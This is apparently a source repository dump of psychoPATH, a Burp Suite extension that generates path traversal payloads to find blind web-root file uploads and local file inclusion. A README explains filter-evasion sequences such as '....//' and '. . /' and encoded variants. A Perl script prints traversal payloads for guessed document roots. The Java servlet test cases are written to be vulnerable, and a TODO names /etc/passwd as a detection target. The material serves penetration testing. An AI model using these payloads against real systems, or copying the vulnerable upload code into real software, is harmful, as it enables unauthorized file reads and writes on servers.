100 | for(int i=33;i<47;i++)
101 | {
102 | bytes_raw[byteIndex]=(byte)i;
103 | byteIndex++;
104 | }
105 | for(int i=58;i<65;i++)
106 | {
107 | bytes_raw[byteIndex]=(byte)i;
108 | byteIndex++;
109 | }
110 | for(int i=91;i<97;i++)
111 | {
112 | bytes_raw[byteIndex]=(byte)i;
113 | byteIndex++;
114 | }
115 | for(int i=123;i<127;i++)
116 | {
117 | bytes_raw[byteIndex]=(byte)i;
118 | byteIndex++;
119 | }
120 | }
121 | if("non-alpha-non-print-low".equals(this.tab.psychoPanel.byteGeneratorRange))
122 | {
123 | // 0-31 -> 32
124 | // 127-128 -> 1
125 | // alltogether 33
126 | this.bytes_raw = new byte[33];
127 | for(int i=0;i<32;i++)
128 | {
129 | bytes_raw[byteIndex]=(byte)i;
130 | byteIndex++;
131 | }
132 | for(int i=127;i<128;i++)
133 | {
134 | bytes_raw[byteIndex]=(byte)i;
135 | byteIndex++;
136 | }
137 | }
138 | if("non-alpha-non-print".equals(this.tab.psychoPanel.byteGeneratorRange))
139 | {
140 | // 0-31 -> 32
141 | // 127-255 -> 129
142 | // alltogether 161
143 | this.bytes_raw = new byte[161];
144 | for(int i=0;i<32;i++)
145 | {
146 | bytes_raw[byteIndex]=(byte)i;
147 | byteIndex++;
148 | }
149 | for(int i=127;i<256;i++)
150 | {
151 | bytes_raw[byteIndex]=(byte)i;
152 | byteIndex++;
153 | }
154 | }
155 | if("all".equals(this.tab.psychoPanel.byteGeneratorRange))
156 | {
157 | // 0-255 -> 256
158 | this.bytes_raw = new byte[256];
159 | for(int i=0;i<256;i++)
160 | {
161 | bytes_raw[byteIndex]=(byte)i;
162 | byteIndex++;
163 | }
164 | }
165 | // now, check what the encodings are - and fill the bytes_out string array accordingly
166 | // we simply use the global psychoPATH encoding options
167 | // ListModel encodeModel = this.tab.psychoPanel.encodeList.getModel();
168 | for(int j=0;j {
32 | if(tabPane.getSelectedIndex() == tabIndex)
33 | tabPane.setBackgroundAt(tabIndex, Color.BLACK);
34 | });
35 | }
36 |
37 | /**
38 | * Change colour of the tab handle to show it needs attention. The colour
39 | * matches the colour that Burp itself uses.
40 | */
41 | void alertTab() {
42 | tabPane.setBackgroundAt(tabIndex, new Color((float) 0.894, (float) 0.535, (float) 0.0));
43 | }
44 |
45 | @Override
46 | public String getTabCaption() {
47 | return "psychoPATH";
48 | }
49 |
50 | @Override
51 | //public PsychoPanel getUiComponent() {
52 | public PsychoPanel2 getUiComponent() {
53 | return psychoPanel;
54 | }
55 |
56 | }
57 |
--------------------------------------------------------------------------------
/Java/src/uk/co/pentest/SimpleDocumentListener.java:
--------------------------------------------------------------------------------
1 | package uk.co.pentest.psychoPATH;
2 |
3 | import javax.swing.event.DocumentEvent;
4 | import javax.swing.event.DocumentListener;
5 |
6 | /**
7 | * A simplified version of DocumentListener that fires changedUpdate for all
8 | * events.
9 | */
10 | public abstract class SimpleDocumentListener implements DocumentListener {
11 | @Override
12 | public void insertUpdate(DocumentEvent evt) {
13 | changedUpdate(evt);
14 | }
15 |
16 | @Override
17 | public void removeUpdate(DocumentEvent evt) {
18 | changedUpdate(evt);
19 | }
20 | }
21 |
--------------------------------------------------------------------------------
/Java/src/uk/co/pentest/psychoPayload.java:
--------------------------------------------------------------------------------
1 | /*
2 | * To change this license header, choose License Headers in Project Properties.
3 | * To change this template file, choose Tools | Templates
4 | * and open the template in the editor.
5 | */
6 | package uk.co.pentest.psychoPATH;
7 |
8 | /**
9 | *
10 | * @author julian
11 | */
12 | public class psychoPayload {
13 | protected String payload;
14 | int encoding1=0; // 0 means RAW
15 | int encoding2=0; //
16 | public psychoPayload(String payload)
17 | {
18 | this.payload=payload;
19 | }
20 | public psychoPayload(String payload,int encod1, int encod2)
21 | {
22 | this.payload=payload;
23 | this.encoding1=encod1;
24 | this.encoding2=encod2;
25 | }
26 | }
27 |
--------------------------------------------------------------------------------
/LICENSE:
--------------------------------------------------------------------------------
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--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | Original work by: Julian H. https://github.com/ewilded/psychoPATH
2 |
3 | # psychoPATH - a blind webroot file upload & LFI detection tool (now available in the Burp App Store!)
4 | 
5 | ## psychoPATH - hunting file uploads & LFI in the dark
6 | This tool is a highly configurable payload generator detecting LFI & web root file uploads. Involves advanced path traversal evasive techniques, dynamic web root list generation, output encoding, site map-searching payload generator, LFI mode, nix & windows support plus single byte generator.
7 |
8 | 
9 |
10 | 
11 |
12 | 
13 |
14 | 
15 |
16 | 
17 |
18 | 
19 |
20 | 
21 |
22 | This tool helps to discover several kinds of vulnerabilities not detected by most known scanners and payload sets:
23 | - local file inclusion/arbitrary file read vulnerable to path traversal with weak filters involved (e.g. non-recurrent)
24 | - file upload vulnerable to path traversal with the upload directory located inside the document root
25 | - file upload vulnerable to path traversal with the upload directory outside the document root
26 | - file upload not vulnerable to path traversal, but having the upload directory inside of the document root, with no direct links to the uploaded file exposed by the application
27 |
28 | Also, the `Directory checker` payload generator can be used for other purposes, e.g. selective invasive content discovery or checking allowed HTTP methods per directory.
29 |
30 | At the moment, this plugin extends Burp Intruder with four payload generators:
31 | 
32 |
33 | ### Byte generator
34 | Additionally, another payload generator simply called `Byte` is available. It simply generates single bytes from the chosen range.
35 | Available ranges:
36 | - non-alphanumeric
37 | - alphanumeric
38 | - non-alphanumeric printable
39 | - non-alphanumeric non-printable
40 | - all
41 |
42 | This is quite handy for general fuzzing, discovering bad characters where feedback from the application is available, defeating filters (like file upload extension control), searching for a an effective string terminator (a character that makes the application to ignore the following string - usually white characters or some format separators like ,',| etc.) and so on.
43 |
44 | This generator produces output in accordance to the global psychoPATH output encoding settings (available: none, URL, doubleURL as of writing this).
45 |
46 | ## To see detailed usage examples for all payload generators and scenarios (e.g. LFI hunting), please go to [usage_examples.pdf](https://www.github.com/ewilded/psychoPATH/blob/master/usage_examples.pdf.pdf?raw=true)
47 |
48 | ## Insight into the file upload scenarios
49 | At this point, controlling the uploaded file contents/extension is not the focus. One thing at a time, first we just want to detect if we can upload a *legitimate* file anywhere in the webroot.
50 | ### 1) Path traversal + upload dir outside the webroot
51 |
52 | Let's consider the following vulnerable Java servlet:
53 |
54 | private static final String SAVE_DIR = "/tmp";
55 | protected void doPost(HttpServletRequest request,
56 | HttpServletResponse response) throws ServletException, IOException {
57 | String appPath = request.getServletContext().getRealPath("");
58 | String savePath = SAVE_DIR;
59 | File fileSaveDir = new File(savePath);
60 | if (!fileSaveDir.exists()) {
61 | fileSaveDir.mkdir();
62 | }
63 | String full_name=SAVE_DIR;
64 | for (Part part : request.getParts()) {
65 | String fileName = extractFileName(part);
66 | part.write(savePath + File.separator + fileName);
67 | full_name=savePath + File.separator + fileName;
68 | }
69 |
70 |
71 | The servlet is using user-supplied values as file names (e.g. `a.jpg`). It stores uploaded files in an upload directory `/tmp` located outside the document root (let's assume the document root here is `/var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot`).
72 |
73 | In order to get our file saved in the document root instead of the default upload directory, the user-supplied value, instead of benign `a.jpg`, would have to look more like `./../../../../../../../../../../var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot/a.jpg`.
74 |
75 | Assuming we cannot see any detailed error messages from the application and we have no access to the file system - all we know is that it is running on Apache Tomcat and that the URL is `http://example.org/uploadbare_traversal_outside_webroot`. In order to come up with this particular payload, we would have to try several possible document root variants, like:
76 |
77 | - /opt/tomcat8/example
78 | - /opt/tomcat5/webapps/example.org
79 | - /var/lib/tomcat6/webapps/uploadbare_traversal_outside_webroot
80 | - /var/lib/tomcat7/webapps/uploadbare_traversal_outside_webroot
81 | - /var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot
82 | - /opt/tomcat7/webapps/example
83 | - /opt/tomcat8/webapps/example.org
84 | - /opt/tomcat5/webapps/uploadbare_traversal_outside_webroot
85 | - [...]
86 |
87 | and so on. The remote webroot can depend on the platform, version, OS type, OS version as well as on internal standards within an organisation.
88 |
89 | Based on well-known server-specific webroot paths + target hostname + user-specified variables, psychoPATH attempts to generate a comprehensive list of all potentially valid paths to use while blindly searching for vulnerable file upload. This approach was directly inspired by the technique used in `--os-shell` mode in `sqlmap`.
90 |
91 |
92 | ### 2) Path traversal + upload dir inside of the webroot
93 |
94 | Let's go to our next scenario then, which will be a slightly modified version of the previous example.
95 | The code remains the same, traversal-vulnerable. The only difference is the configured upload directory. Instead of `/tmp/`, we use `/var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot/nowaytofindme/tmp`.
96 |
97 | The `nowaytofindme/tmp` directory is not explicitly linked by the application and there is no way to guess it with a dictionary-based enumeration approach.
98 |
99 | Luckily for us, the application is still vulnerable to path traversal.
100 | We do not even need to guess the webroot. The payload to do the trick (put the file to `/var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot`, so it can be accessed by requesting `http://example.org/uploadbase_traversal_inside_webroot/a.jpg` is simply `../../a.jpg`.
101 |
102 | ### 3) No path traversal + upload dir inside the webroot
103 |
104 | The third example is not vulnerable to path traversal. The upload directory is located in the webroot (`logs/tmp` -> `/var/lib/tomcat8/webapps/uploadbase_traversal_inside_webroot/logs/tmp`). We already know it exists, supposedly among multiple other directories, like `javascript/`, `css/` or `images/` - but we would not normally suspect any of these could be the actual upload directory (no directory listing + the uploaded file is not explicitly linked by the application).
105 |
106 | So, the payload is simply `a.jpg`. The file (or its copy) is put under `logs/tmp/a.jpg` - but no sane person would search for the file they just uploaded in a directory/subdirectory called `logs/tmp`. psychoPATH is not a sane person.
107 |
108 | ### Other possible issues with traversal-vulnerable uploads
109 | There might be another vulnerable, hard to discover variant of a file upload function prone to path traversal.
110 | Both traversal cases described above would not get detected if there was no +w permission on the webroot (`/var/lib/tomcat8/webapps/uploadbare_traversal_outside_webroot` and `/var/lib/tomcat8/webapps/uploadbare_traversal_inside_webroot`, respectively). The only spark of hope here is that any of the subdirectories, like `images/`, has such permission enabled. This is why all the directories inside the webroot are also worth shooting at explicitly, leading to payloads like `./../../../../../../../../var/lib/tomcat8/uploadbare_traversal_inside_webroot/images/a.jpg` or `./../images/a.jpg`.
111 |
112 | ### Are any of these upload scenarios even likely?
113 | Not very (although all met in the wild, they are just quite rare), this is why it appeared sensible to automate the entire check.
114 |
115 | Speaking of path traversal, *most* of today's frameworks and languages are path traversal-proof. Still, sometimes they are not used properly. When it comes to languages, they usually (e.g. PHP) strip any path sequences from the standard variable holding the POST-ed file (`Content-Disposition: form-data; name="file"; filename="test.jpg"`), still it is quite frequent the application is using another user-supplied variable to rename the file after upload (and this is our likely-successful injection point).
116 |
117 | When it comes to uploading files to hidden/not explicitly linked directories in the document root (those explicitly linked like `Your file is here: uploads/a.jpg` are trivial to find, no tools needed), it is usually a result of weird development practices and/or some forgotten 'temporary' code put together for testing - and never removed. Still, it happens and it is being missed, as, again, no sane person would think of e.g. searching for the file they just uploaded in a webroot subdirectory called `logs/tmp`.
118 |
119 |
120 | ### Hunting uploads in the dark - the algorithm
121 |
122 | The following is a general algorithm we employ to perform blind detection of any of the cases mentioned above:
123 | - upload a legitimate file that is accepted by the application (a benign filename, extension, format and size) - we want to avoid false negatives due to any additional validation checks performed by the application
124 | - estimate the possible potentially valid webroots, including their variants with webroot-located subdirectories and path traversal payloads (both relative, like `../../a.jpg` and absolute, like `./../../../var/lib/tomcat6/webapps/servletname/a.jpg`, `./../../../var/lib/tomcat6/webapps/servletname/img/a.jpg` and so on) - this step is automated and customizable
125 | - attempt to upload the file using all the payloads from the step above, placing a unique string in each file we attempt to upload (this step is automated and customizable as well)
126 | - search for the uploaded file by attempting GETs to all known directories in the webroot, e.g. http://example.org/a.jpg, http://example.org/img/a.jpg and so on (this step is automated as well)
127 | - if we find the file in any of the locations, we look into its contents to identify the unique string (payload mark), so we can track down the successful payload
128 |
129 |
130 | ## The evasive techniques
131 | The evasive techniques apply both to file uploading and file reading (LFI).
132 |
133 | The basic traversal payload is `../`, or more generally `` (`` can be both the normal `/` and the Windows `\`).
134 |
135 |
136 |
137 | ### Non-recursive filters
138 | 1) removing only `../`
139 | 2) removing only `./`
140 | 3) removing `../` and then `./`
141 | 4) removing `./` and then `../`
142 |
143 |
144 | First, let's have a look at the basic non-recursive filter scenarios:
145 |
146 | 1)
147 | `....//....//....//....//....//....//....//....//` -> rm `../`-> `../../../../../../../../` OK
148 |
149 | 2)
150 | `...//...//...//...//...//...//...//...//...//` -> rm `./` -> `../../../../../../../../../` OK
151 |
152 |
153 | 3)
154 | `.....///.....///.....///.....///.....///.....///.....///` -> rm `../` -> `...//...//...//...//...//...//...//` -> rm `./` -> `../../../../../../../` OK
155 |
156 | 4)
157 | `.....///.....///.....///.....///.....///.....///.....///` -> rm `./` -> `....//....//....//....//....//....//....//` -> rm `../` -> `../../../../../../../` OK
158 |
159 | So, we only need three non-recurrent evasive payloads:
160 |
161 | - `....//`
162 | - `...//`
163 | - `.....///`
164 |
165 | ### Breakup-filters
166 | By this we mean filters removing `..`, `../` or `./` BEFORE removing some other character/string - e.g. a whitespace - let's call it a breakup sequence.
167 | To simplify the examples, we use white space as a breakup sequence:
168 |
169 | 1) `.. /` -> rm `../` -> `.. /` -> rm ` ` -> `../` OK
170 |
171 | 2) `. ./` -> rm `../` -> `. ./` -> rm ` ` -> `../` OK
172 |
173 | 3) `. ./` -> rm `..` -> `. ./` -> rm ` ` -> `../` OK
174 |
175 | 4) `. . /` -> rm `./` -> `.. /` -> rm ` ` -> `../` OK
176 |
177 | 5) `.. .//` -> rm `../` -> `.. .//` -> rm `./` -> `.. /` rm ` ` -> `../` OK
178 |
179 | 6) `.. .//` -> rm `./` -> `.. /` -> rm `../` -> `.. /` -> rm ` ` -> `../` OK
180 |
181 | 7) `. . /` -> rm `..` -> `. . /` -> rm `./` -> `. . /` -> rm ` ` -> `../` OK
182 |
183 | And finally it turns out the last breakup sequence `. . /` can defeat all the above filters at the same time.
184 |
185 | So, we should only need one breakup sequence evasive payload:
186 |
187 | - `. . /`
188 |
189 | Or, more generally, `.{BREAKUP}.{BREAKUP}/`.
190 |
191 | The breakup sequence is fully configurable, just as the list of the traversal payloads with the `{BREAKUP}` holder.
192 |
193 | The breakup sequence might be a white space (or some other white character, as these are frequently removed from the user input). It might, as well, be some 'bad' word, like 'select' or 'script', if the application is stupid enough to try to prevent input validation problems by cutting out 'dangerous' strings from the user input - and keep processing it further - which creates cross-filter interferences leading to this kind of bypasses.
194 |
195 | ### Output encoding
196 | At the moments, all the output payloads can be encoded with use of all/any of the following encodings:
197 | - none (default)
198 | - URL-encoded
199 | - double URL-encoded
200 |
201 | ### Future improvements
202 | Please see the [TODO](https://www.github.com/ewilded/psychoPATH/blob/master/TODO?raw=true)
203 |
204 | ### Contribution
205 | Please feel free to report any evasive techniques/optimizations/features you would like to see included into this project.
206 |
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/TODO:
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1 | ### TODO
2 | - consider replacing /etc/passwd -> root: detection pattern with /etc/resolv.conf -> nameserver or /etc/hosts -> localhost pattern (dockerized apps usually don't have passwd in the container)
3 | - redirect support in scanner would also be nice, although seems a bit pain in the ass with the current API
4 | - introduce best effort payloads
5 | Add output encoding setting to the byte generator.
6 |
7 | - UTF:
8 | Directory Traversal Checklist:
9 |
10 | 16 bit Unicode encoding:
11 | . = %u002e, / = %u2215, \ = %u2216
12 |
13 | Double URL encoding:
14 | . = %252e, / = %252f, \ = %255c
15 |
16 | UTF-8 Unicode encoding:
17 | . = %c0%2e, %e0%40%ae, %c0ae, / = %c0%af, %e0%80%af, %c0%2f, \ = %c0%5c, %c0%80%5c
18 |
19 | - I don't think we ever generate payloads with the base value as suffix... https://t.co/tbI4Zfun7u ouch!
20 | - mixed-encoding payloads ARE a good idea: https://hackerone.com/reports/307666
21 | - Scanner integration for the LFI mode
22 | - Scanner integration/full automation of the upload mode is also worth implementing - as an addition to semi-automated Intruder
23 | - for foo.bar.com domains, add foobar, barfoo webroot targets
24 | - consider /.. and ./ non-recursive filters
25 | - add the ability to prefix the absolute path with the file:/// protocol handler
26 | - add $ and > as default breakup sequences (works nice with python - these are automatically removed and not replaced with anything)
27 | - add more configuration options:
28 | - windows evasive techniques (the ones mentioned here https://soroush.secproject.com/blog/2014/07/file-upload-and-php-on-iis-wildcards/)
29 | - any evasive techniques being a mix of \ and /? e.g. ....\/ -> rm ..\ -> ../
30 | - add the ability to append the filename with arbitrary characters (manageable just like the break-up strings - useful for LFI mode, but could as well be used to bypass extension controls - which will be implemented as another mode -> another payload generator to use, once we're already able to upload legitimate files to the webroot) + configurable list of benign extensions (jpg, jpeg, png, gif, whatever)
31 | - replace the lengthy screenshots with videos presenting different operation modes or a separate PDF
32 | #### Nice-to-haves:
33 | - test on different resolution, make sure the project is easily runnable/importable
34 | - separate apache-like suffixes from the main list, they are there by default and do not go away once other than all/apache webroot set is picked
35 | - more examples of test cases
36 | - add a "Copy to clipboard" button for generated payloads, so the output payloads can be used with other tools
37 | - add support for ZIP traversals
38 | - extend the tool with extension control mode (defeating the filters in order to upload an executable - different tricks depending on the platform)??
39 | - in case of a positive result, automatically track back the payload that did the trick (instead of the dir check mode?)
40 |
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/build.gradle:
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1 | apply plugin: 'java'
2 |
3 | repositories {
4 | mavenCentral()
5 | }
6 |
7 | dependencies {
8 | compile 'net.portswigger.burp.extender:burp-extender-api:1.7.22'
9 | }
10 |
11 | sourceSets {
12 | main {
13 | java {
14 | srcDir 'Java/src'
15 | }
16 | }
17 | }
18 |
19 | task fatJar(type: Jar) {
20 | baseName = project.name + '-all'
21 | from { configurations.compile.collect { it.isDirectory() ? it : zipTree(it) } }
22 | with jar
23 | }
24 |
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/logo_by_Sponge_Nutter.png:
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/perl/README:
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1 | Initially this tool was developed as this perl script, which is no longer maintained at the moment.
2 |
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/perl/get_docroots.pl:
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1 | #!/usr/bin/perl
2 | use strict;
3 |
4 | # This little helper script attempts to generate all potential DOCUMENT_ROOT full paths for a given application.
5 | # Such output is intended for use with tools like Burp Intruder in order to blindly exploit vulnerable file upload implementations.
6 | # Coded by ewilded (February 2016)
7 | # The initial list of directories and their suffixes was taken from sqlmap
8 |
9 | # Please keep in mind to provide relevant configuration below.
10 | # It is important to specify both short and long name of the target, as its DOC_ROOT is highly likely derived from that value.
11 |
12 | # CONFIG SECTION STARTS HERE
13 |
14 | my $filename='test.png';
15 | my @targets=('uploadbare','localhost');
16 | my $auto_append_traversals=1; # if set to 1, include traversal versions of the document root payloads as well
17 | my $auto_append_filename=1; # if set to 1, automatically append the specified filename to each payload
18 | my $auto_append_pure_traversals=1; # if set to 1, include the relative (docroot independant) traversal payloads as well (the ones to jump out from unknown upload directories located inside the document root)
19 | my $evasive_techniques=1; # if set to 1, include filter evasion mutations of the document roots to the results
20 |
21 | my @traversals=(
22 | '',
23 | './../../../../../../../../'
24 | );
25 |
26 | my @pure_traversals=(
27 | './../',
28 | './../../',
29 | './../../../',
30 | './../../../../',
31 | './../../../../../',
32 | './../../../../../../',
33 | './../../../../../../../',
34 | './../../../../../../../../'
35 | );
36 |
37 | my @evasive_traversals=(
38 | './....//....//....//....//....//....//....//....//',
39 | '..//...//...//...//...//...//...//...//...//'
40 | );
41 |
42 | my @evasive_pure_traversals=(
43 | './....//....//',
44 | './....//....//....//',
45 | './....//....//....//....//',
46 | './....//....//....//....//....//',
47 | './....//....//....//....//....//....//',
48 | './....//....//....//....//....//....//....//',
49 | './....//....//....//....//....//....//....//....//',
50 | './...//...//',
51 | './...//...//...//',
52 | './...//...//...//...//',
53 | './...//...//...//...//...//',
54 | './...//...//...//...//...//...//',
55 | './...//...//...//...//...//...//...//',
56 | './...//...//...//...//...//...//...//...//'
57 | );
58 |
59 | # nix only list, if we know the underlying server platform, we can comment out irrelevant paths below
60 |
61 | #univeresal docroots
62 | my @universal_doc_roots=(
63 | "/var/www",
64 | "/usr/local/httpd",
65 | "/usr/local/www",
66 | "/usr/local/httpd/{TARGET}",
67 | "/usr/local/www/{TARGET}",
68 | "/srv/www",
69 | "/var/www/html",
70 | "/var/www/{TARGET}",
71 | "/srv/www/{TARGET}",
72 | "/var/www/html/{TARGET}",
73 | "/var/www/vhosts/{TARGET}",
74 | "/var/www/virtual/{TARGET}",
75 | "/var/www/clients/vhosts/{TARGET}",
76 | "/var/www/clients/virtual/{TARGET}"
77 | );
78 |
79 | # nginx docroots
80 | my @nginx_doc_roots=("/var/www/nginx-default");
81 |
82 | # apache docroots
83 | my @apache_doc_roots = (
84 | "/usr/local/apache",
85 | "/usr/local/apache2",
86 | "/usr/local/apache/{TARGET}",
87 | "/usr/local/apache2/{TARGET}",
88 | "/usr/local/www/apache/{TARGET}",
89 | "/usr/local/www/apache24/{TARGET}",
90 | "/usr/local/{TARGET}/apache/www/apache22/{TARGET}",
91 | "/usr/local/apache/www/apache22/{TARGET}",
92 | "/usr/local/{TARGET}/apache/www/apache22/{TARGET}"
93 | );
94 |
95 | # tomcat docroots
96 | my @tomcat_doc_roots=(
97 | "/usr/local/tomcat/webapps/{TARGET}",
98 | "/usr/local/tomcat01/webapps/{TARGET}",
99 | "/usr/local/tomcat02/webapps/{TARGET}",
100 | "/opt/tomcat5/{TARGET}",
101 | "/opt/tomcat6/{TARGET}",
102 | "/opt/tomcat7/{TARGET}",
103 | "/opt/tomcat8/{TARGET}",
104 | "/opt/tomcat5/webapps/{TARGET}",
105 | "/opt/tomcat6/webapps/{TARGET}",
106 | "/opt/tomcat7/webapps/{TARGET}",
107 | "/opt/tomcat8/webapps/{TARGET}",
108 | "/opt/tomcat5/webapps",
109 | "/opt/tomcat6/webapps",
110 | "/opt/tomcat7/webapps",
111 | "/opt/tomcat8/webapps",
112 | "/var/lib/tomcat7/webapps",
113 | "/var/lib/tomcat7/webapps/{TARGET}",
114 | "/var/lib/tomcat8/webapps",
115 | "/var/lib/tomcat8/webapps/{TARGET}"
116 | );
117 |
118 | # Suffixes used in brute force search for web server document root
119 | my @brute_doc_root_suffixes=("", "html", "htdocs", "httpdocs", "php", "public", "src", "site", "build", "web", "data", "sites/all", "www/build");
120 | my @brute_doc_root_prefixes = (@universal_doc_roots, @nginx_doc_roots, @apache_doc_roots, @tomcat_doc_roots);
121 | # END OF THE CONFIG SECTION
122 |
123 | if($evasive_techniques eq 1)
124 | {
125 | push(@traversals,@evasive_traversals);
126 | push(@pure_traversals,@evasive_pure_traversals);
127 | }
128 |
129 |
130 | my %target_docroots;
131 |
132 | foreach my $docroot(@brute_doc_root_prefixes)
133 | {
134 | foreach my $target(@targets)
135 | {
136 | my $new_docroot=$docroot;
137 | $new_docroot=~s/{TARGET}/$target/g;
138 | $target_docroots{$new_docroot}=1;
139 | }
140 | }
141 |
142 |
143 | foreach my $target(@targets)
144 | {
145 | push(@brute_doc_root_suffixes,$target);
146 | }
147 |
148 |
149 |
150 |
151 |
152 | foreach my $brute_force_dir_prefix(keys %target_docroots)
153 | {
154 | foreach my $brute_force_dir_suffix(@brute_doc_root_suffixes)
155 | {
156 | if($auto_append_traversals eq 1)
157 | {
158 | foreach my $traversal(@traversals)
159 | {
160 | if($auto_append_filename eq 1)
161 | {
162 | print "$traversal$brute_force_dir_prefix/$brute_force_dir_suffix/$filename\n";
163 | }
164 | else
165 | {
166 | print "$traversal$brute_force_dir_prefix/$brute_force_dir_suffix\n";
167 | }
168 | }
169 | }
170 | else
171 | {
172 | print "$brute_force_dir_prefix/$brute_force_dir_suffix\n";
173 | }
174 | }
175 | }
176 |
177 | if($auto_append_pure_traversals eq 1)
178 | {
179 | foreach my $pure_traversal(@pure_traversals)
180 | {
181 | if($auto_append_filename eq 1)
182 | {
183 | print "$pure_traversal/$filename\n";
184 | }
185 | else
186 | {
187 | print "$pure_traversal\n";
188 | }
189 | }
190 | }
191 | if($auto_append_filename eq 1)
192 | {
193 | print "$filename\n";
194 | }
195 |
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/screenshots/verification_step2.png:
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/screenshots/verification_step3.png:
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/screenshots/verification_step4.png:
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/settings.gradle:
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1 | rootProject.name = 'psycho-path'
2 |
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/test_cases/LFI/eight.php:
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/test_cases/LFI/eleven.php:
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/test_cases/LFI/five.php:
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/test_cases/LFI/one.php:
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/test_cases/LFI/seven.php:
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/test_cases/LFI/six.php:
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/test_cases/LFI/ten.php:
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/test_cases/LFI/three.php:
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/test_cases/LFI/two.php:
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/test_cases/no_traversal_unusual_webroot/UploadServlet.java:
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1 | // package net.codejava.servlet;
2 |
3 | import java.io.File;
4 | import java.io.IOException;
5 |
6 | import javax.servlet.ServletException;
7 | import javax.servlet.annotation.MultipartConfig;
8 | import javax.servlet.annotation.WebServlet;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import javax.servlet.http.Part;
13 |
14 | @WebServlet("/uploadbare_traversal_outside_webroot")
15 | @MultipartConfig(fileSizeThreshold=1024*1024*2, // 2MB
16 | maxFileSize=1024*1024*10, // 10MB
17 | maxRequestSize=1024*1024*50) // 50MB
18 | public class UploadServlet extends HttpServlet {
19 |
20 | /**
21 | * Name of the directory where uploaded files will be saved, relative to
22 | * the web application directory.
23 | */
24 | private static final String SAVE_DIR = "/var/lib/tomcat8/webapps/no_traversal_unusual_webroot/logs/tmp";
25 |
26 | /**
27 | * handles file upload
28 | */
29 | protected void doPost(HttpServletRequest request,
30 | HttpServletResponse response) throws ServletException, IOException {
31 | // gets absolute path of the web application
32 | String appPath = request.getServletContext().getRealPath("");
33 | // constructs path of the directory to save uploaded file
34 | // appPath + File.separator
35 | String savePath = SAVE_DIR;
36 |
37 | // creates the save directory if it does not exists
38 | File fileSaveDir = new File(savePath);
39 | if (!fileSaveDir.exists()) {
40 | fileSaveDir.mkdir();
41 | }
42 | String full_name=SAVE_DIR;
43 | for (Part part : request.getParts()) {
44 | String fileName = extractFileName(part);
45 | fileName=fileName.replaceAll("\\.\\.","");
46 | part.write(savePath + File.separator + fileName);
47 | full_name=savePath + File.separator + fileName;
48 | }
49 |
50 | request.setAttribute("message", "Upload has been done successfully!");
51 | getServletContext().getRequestDispatcher("/message.jsp").forward(
52 | request, response);
53 | }
54 |
55 | /**
56 | * Extracts file name from HTTP header content-disposition
57 | */
58 | private String extractFileName(Part part) {
59 | String contentDisp = part.getHeader("content-disposition");
60 | String[] items = contentDisp.split(";");
61 | for (String s : items) {
62 | if (s.trim().startsWith("filename")) {
63 | return s.substring(s.indexOf("=") + 2, s.length()-1);
64 | }
65 | }
66 | return "";
67 | }
68 | }
69 |
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/test_cases/uploadbare_traversal_inside_webroot/UploadServlet.java:
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1 | // package net.codejava.servlet;
2 |
3 | import java.io.File;
4 | import java.io.IOException;
5 |
6 | import javax.servlet.ServletException;
7 | import javax.servlet.annotation.MultipartConfig;
8 | import javax.servlet.annotation.WebServlet;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import javax.servlet.http.Part;
13 |
14 | @WebServlet("/uploadbare_traversal_inside_webroot")
15 | @MultipartConfig(fileSizeThreshold=1024*1024*2, // 2MB
16 | maxFileSize=1024*1024*10, // 10MB
17 | maxRequestSize=1024*1024*50) // 50MB
18 | public class UploadServlet extends HttpServlet {
19 |
20 | /**
21 | * Name of the directory where uploaded files will be saved, relative to
22 | * the web application directory.
23 | */
24 | private static final String SAVE_DIR = "/var/lib/tomcat8/webapps/uploadbare_traversal_inside_webroot/nowaytofindme/tmp/";
25 |
26 | /**
27 | * handles file upload
28 | */
29 | protected void doPost(HttpServletRequest request,
30 | HttpServletResponse response) throws ServletException, IOException {
31 | // gets absolute path of the web application
32 | String appPath = request.getServletContext().getRealPath("");
33 | // constructs path of the directory to save uploaded file
34 | // appPath + File.separator
35 | String savePath = SAVE_DIR;
36 |
37 | // creates the save directory if it does not exists
38 | File fileSaveDir = new File(savePath);
39 | if (!fileSaveDir.exists()) {
40 | fileSaveDir.mkdir();
41 | }
42 | String full_name=SAVE_DIR;
43 | for (Part part : request.getParts()) {
44 | String fileName = extractFileName(part);
45 | part.write(savePath + File.separator + fileName);
46 | full_name=savePath + File.separator + fileName;
47 | }
48 |
49 | request.setAttribute("message", "Upload has been done successfully!");
50 | getServletContext().getRequestDispatcher("/message.jsp").forward(
51 | request, response);
52 | }
53 |
54 | /**
55 | * Extracts file name from HTTP header content-disposition
56 | */
57 | private String extractFileName(Part part) {
58 | String contentDisp = part.getHeader("content-disposition");
59 | String[] items = contentDisp.split(";");
60 | for (String s : items) {
61 | if (s.trim().startsWith("filename")) {
62 | return s.substring(s.indexOf("=") + 2, s.length()-1);
63 | }
64 | }
65 | return "";
66 | }
67 | }
68 |
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/test_cases/uploadbare_traversal_outside_webroot/META-INF/MANIFEST.MF:
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1 | Manifest-Version: 1.0
2 | Ant-Version: Apache Ant 1.6.5
3 | Created-By: 1.5.0_06-b05 (Sun Microsystems Inc.)
4 |
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/test_cases/uploadbare_traversal_outside_webroot/UploadServlet.class:
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https://raw.githubusercontent.com/PortSwigger/psycho-path/d07baf2e01c9fb33ca1c944ce8f51f446753281d/test_cases/uploadbare_traversal_outside_webroot/UploadServlet.class
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/test_cases/uploadbare_traversal_outside_webroot/UploadServlet.java:
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1 | // package net.codejava.servlet;
2 |
3 | import java.io.File;
4 | import java.io.IOException;
5 |
6 | import javax.servlet.ServletException;
7 | import javax.servlet.annotation.MultipartConfig;
8 | import javax.servlet.annotation.WebServlet;
9 | import javax.servlet.http.HttpServlet;
10 | import javax.servlet.http.HttpServletRequest;
11 | import javax.servlet.http.HttpServletResponse;
12 | import javax.servlet.http.Part;
13 |
14 | @WebServlet("/uploadbare_traversal_outside_webroot")
15 | @MultipartConfig(fileSizeThreshold=1024*1024*2, // 2MB
16 | maxFileSize=1024*1024*10, // 10MB
17 | maxRequestSize=1024*1024*50) // 50MB
